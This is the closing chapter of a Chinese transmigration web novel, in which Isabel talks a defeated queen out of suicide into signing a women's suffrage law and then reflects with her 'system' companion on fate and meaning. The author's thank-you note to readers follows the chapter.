塞拉菲娜的眼眸里倒映着那只蝴蝶,粲然轻笑:“神选择了你,而我已没有挑战命运的力气了。这一生,就到这里划上句号吧。” 她缓缓举起火器,里面还剩最后一颗子弹,是留给自己的。 就在即将扣动扳机的刹那,伊莎贝尔的声音响起。 “你还有最后一个选择。” 她强硬地掰开塞拉菲娜的手腕,将一份文件递给对方,缓缓道:“你用尽全力在跟世界较劲,却决定这么潦草地离开吗?” 塞拉菲娜愣住,看向那份文件,而后签上名字,脸上古井无波:“和谈结果已经诞生,现在你满意了?” “你明明已经见识过更高等级的力量,挥挥手就能改变一切,还觉得尘世的这些琐碎有意义吗?或者说你和西里尔一样,喜欢享受低等生物们的朝拜,奉你们为真神?”塞拉菲娜盯着伊莎贝尔,“我真想知道所谓的神是怎么想的。” 伊莎贝尔不急不缓收起谈判文件,忽然说:“001,出来。” 胖书散发着金色光芒,挥舞着翅膀出现:“宿主,请问有什么吩咐?” 塞拉菲娜看不见系统的存在,只能看见伊莎贝尔和空气对话。 可是她很快意识到对方在召唤那个神明! 伊莎贝尔观摩着001的样子,信手在纸上画出轮廓——一本长着翅膀的书,没有鼻子眼睛,很敦实。 “这就是你仰慕的神明的样子。”伊莎贝尔将画举在塞拉菲娜眼前,“还觉得它高大伟岸吗?” 塞拉菲娜想过很多模样,甚至代入过西里尔的形象,可是怎么也想不到是一本书。 她瞠目结舌,缓了很久才道:“神明长相和我们不同,但拥有力量就足够了。” 伊莎贝尔嗤笑,徒手将001抓过来,把它捏得吱哇乱叫。 “宿主!唔!放开我!请勿欺负系统!” 伊莎贝尔恍若未闻,看着塞拉菲娜淡淡道:“我并不想否认你的信仰,更不否定命运有它既定的轨道,因为这个问题本没有答案。” “是的,你所看到的001系统,也就是赐予西里尔神力的造物主的确是更高维的物种,它看似能掌握我们所有人的命运,能把西里尔捧上神台,在你的认知里,也是它让我战胜你。” “可是你想过没有,在001之上,是不是又存在着另一个更高维的造物主?能够掌控我们命运的001 ,也被祂随意摆布。”伊莎贝尔淡淡道,“你问我为什么拥有神力,还要关注着琐碎,那当然是因为这些琐碎才是我的生活。” 塞拉菲娜微怔。 “我们无法探知命运这个玄妙的命题,更不知道生命之上是否还有生命。”伊莎贝尔看着竟然一起沉默的001 ,翻着它的书页挑眉道,“你看,也许我们所在的世界就是一本书,你所谓的思考都是命运赐予你的一环,就因为如此,你就要选择放弃?” 塞拉菲娜有一瞬间的空茫,她怔怔发笑:“不放弃,还能做什么?随波逐流地生活吗?那不也等同于命运将我推向结局。” “是啊,命运会给你定下结局,可在抵达终点前,你对此一无所知。不信你现在试试看。” “两个选择,一,举起火器结束生命,成为历史上昙花一现的女王,死在时代巨变的前夜。”伊莎贝尔再次拿出那份文件,翻开一页,其中的内容令塞拉菲娜讶然,“二,再签下一份文件,通过一条特殊的法案——” 顺着话音,塞拉菲娜的视线飞速扫过文字。 上面的内容很简短,却足以令她内心轰然。 那条法案是——宣布每一位女性公民拥有选举权。 伊莎贝尔居高临下,凝视着塞拉菲娜的眼睛。 “塞拉菲娜,我并不评判你私人的德行,只从功绩看,你是锡兰乃至世界上罕见的女性君王。你在男人的游戏里激烈厮杀最终获胜。那么你的价值,绝不因为所谓的神没有选择你而被磨灭。” “你站到了至高的位置,是最适合通过这条法案的人,尤其是在你还掌控话语权的时候。所以,如果你愿意,那么你的另一个结局,是成为被无数人铭记的君王。” “你现在还觉得,命运给你的结局是注定的吗?”伊莎贝尔平静,“你站在十字路口,就看怎么选择。” 塞拉菲娜长久地沉默,凝视着文件不语。 “为什么将这份功绩给我?如你所说,人生的意义不就是想在世间留下一点儿痕迹吗?”塞拉菲娜嗓音干涩,“再给你一点儿时间,你就能替代我成为女王,或是另一个制度的统治者。” “我的人生意义不在于此。”伊莎贝尔直起身,神情淡淡,“你想好了吗?” 说实话,面对这份文件,塞拉菲娜没有拒绝的理由。 哪怕她注定跟随着时代落幕,可在君主制退出舞台前,却会留下属于塞拉菲娜的历史。 她曾盼望着站在权力巅峰、久一点、再久一点。 以为这样足印会留得更深更远,证明她在这个世间的辉煌。 可是直到看见这份文件,塞拉菲娜忽然意识到,留在后人的心里,也许比存在于刻板的历史笔记里更加有意义。 她抬起手,利落签上自己的名字。 窗边,蝴蝶放弃突破透明的窗户,在阳光下翩翩起舞。它始终跨不过天堑,却能在夕阳里绽放生命的光彩。 伊莎贝尔拿着文件渐行渐远,临到门边,忽然回头。 “噢,忘了说。”她目光平静,“埃莉诺被送上审判庭了,她指认你为幕后主使。” 塞拉菲娜表情平淡:“功是功,过是过,法案落定后,我会主动接受裁决。” 伊莎贝尔不再多言,却也没立刻离开。 她想到什么,忽然从怀里拿出一件东西,远远地抛向塞拉菲娜。 后者猝不及防地接过,低头一看,目光怔住——那是一块古朴的铃兰发饰。 耳边响起伊莎贝尔的嗓音,“受完法律的审判,也该经受良心的拷问,虽然不知道你是否会为此难过。” 塞拉菲娜仍然发怔,手里无意识地摩挲那只发饰——熟悉的铃兰纹路,和她怀里的另一只相同,轻轻拼凑在一起,是严丝合缝的一对。 这是乔治安娜去往伽蓝圣殿前,身为姐姐的塞拉菲娜给她的信物,姐妹俩一人一半。 “乔治安娜直到死,也没说过你半句不好。”伊莎贝尔眸光嘲弄,“你真的以为她傻吗?你以为她看不出来你的利用?你以为她看不出你和西里尔的图谋?你以为……” 她深吸一口气,缓缓道,“她看不出你假意里的那点真心?就因为这份连你自己也不愿意承认的真心,她到死也甘愿当你是姐姐。” 塞拉菲娜极力攥着手指,闭上眼,眼皮却微微颤抖。 假意里那点真心…… 是啊,在她追逐权力的世界里,唯有利用,相依为命的日子里产生的那点真心,又算得了什么?连她自己都在刻意遗忘,至少忘了攀登的初心,是为了反抗那些兄弟手足,想带着这个小女孩过上舒坦点的日子。 可是走着走着,一切就变了。 ——如果只有利用就好了。 她可以坦然地坠入地狱,不必被愧疚折磨得面目全非。 夕阳彻底落尽,昏暗的光线里,塞拉菲娜仰着头,怆然望天。 - 议政厅的走廊上,伊莎贝尔眺望远方,望着地平线。 001系统突然挥舞着翅膀出现:“宿主,你成为女王可以获得大量积分,如果放弃太可惜了。” 伊莎贝尔揪了揪系统的翅膀,平静道:“为什么可惜?” “积分可以实现任意愿望。”系统顿了顿,书页哗啦啦翻动,光芒闪了闪,“根据检测,你来自另一个世界,愿望包括助你回到原本的世界。” “我不想回去。”伊莎贝尔淡淡道。 系统沉默两秒,又说:“那么你是想和西里尔或是塞拉菲娜一样,成为这个世界的救世主?那我也可以……” “001.”伊莎贝尔忽然打断他的话,平静道,“你有没有想过,你来自哪里?” “001来自主系统世界,肩负拯救使命,需要绑定……” “你的主世界又来自哪里?”伊莎贝尔再次打断。 001书页哗啦啦翻动,再次陷入安静:“抱歉,宿主,这个问题超出我的认知。” 伊莎贝尔轻笑:“你不知道你的主系统来自哪里,也不知道自己为什么要拯救世界,所以何必执着于绑定我成为救世主呢?” 系统愣住。 “救世主,多么傲慢的称呼。”伊莎贝尔平静地望着远方,哈登菲尔德的工厂机器声轰隆作响,下班的工人成群结队。 “你看,这个世界不是由我、或是由西里尔改变的,而是由他们,由生活在这片土地的每一个人。” “可是如果你不推动制度的变革,时代也无法发展。”系统反驳。 伊莎贝尔嗤笑:“我的作用没有那么大,即便没有我,还会有其他人出现。” 她目光悠远,“如果没猜错,在西里尔不断重复的循环里,虽然过程不同,但时代仍然走到了这一步,对吗?” 系统001再次愣住,“是的。” 伊莎贝尔垂眸,想起刚到查尔维斯时做的那个梦——梦里,海因里希将奥黛丽送回诺曼庄园。想必后面的结果大同小异,他仍然闯入了伽蓝圣殿,或是死在半路。而塞拉菲娜大权在握,但诸如赫尔曼这类的新兴资本家也跟着崛起,大势如潮水,无法阻挡…… 而这一次的循环里,新的“伊莎贝尔”被另一股力量拉到这个世界,开启了不同的故事。 作为新的伊莎贝尔,她无法判断,曾经那些故事线里的人,是不是自己。就像她也无法预知,自己的命运究竟通向哪里。 系统似乎也陷入了关于宇宙终极的思考,很久才开口。 “宿主,如果我们都是另一个更高维的造物主所创造的人呢?你难道不会感到绝望吗?”胖书耷拉着脑袋,页面都翻不动了,语气颓丧,“本统已经有点不想上班了。” 伊莎贝尔笑出声,帮助001合上书页,目光平静。 “你可以绝望,但不能不上班。”她的目光在半空中逡巡,忽然锁定某一处,微笑:“毕竟,说不定……现在就有一群高维造物主们正在围观我们的命运。” 系统毛骨悚然,书页炸开。 “啊啊啊!” 伊莎贝尔轻笑,缓缓走远。 “那又怎么样?谁知道高维造物主身后,是不是还有更高维的生物创造了祂?” “人生的意义在于体验。”她说,“即便我的命运真的是一串文字,只要我感受过,体验过,那就是真实鲜活的一生。” 系统顿时安静,陷入思考。 伊莎贝尔没有管它,只是往前走。 澄黄天色里,视线尽头,奥黛丽在大喊着姐姐,海因里希不甘示弱地挥手,赫尔曼无语地盯着二人。在他们身后,站着诺曼一家还有承知社众人。 亲人爱人与朋友都在等待她的归来。 冰蓝色的眼睛里盈满笑意,伊莎贝尔走向她的全世界。 正文完—— 作者有话说:正文到这里就完结了! 大剧情全部结束,番外开始甜甜日常。 在评论里征集一下大家的想法~ 另外,向一直陪伴我支持我的读者们致以诚挚的感谢,没完结的时候构思了很多话,现在居然什么也想不起来了,只剩感谢。我深知自己的不足,所以真心感谢大家的包容,让我坚持写完这个故事。大纲里设计的剧情已经全部呈现了,当然一定是有很多问题存在的,比如感情戏偏少啦,剧情偏多之类。或是节奏比较慢等等,这个我自己也能够意识到,但是依照我目前的笔力来说,确实已经尽力了哈哈哈。反正每一本达成的目标就是“不留遗憾”!我争取做到一本比一本好,一本比一本进步。 [哈哈大笑][哈哈大笑] 好啦!还没完全说再见呢!咱们番外见!我先申请休息两天~宝宝们可以点菜,我看着写~魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m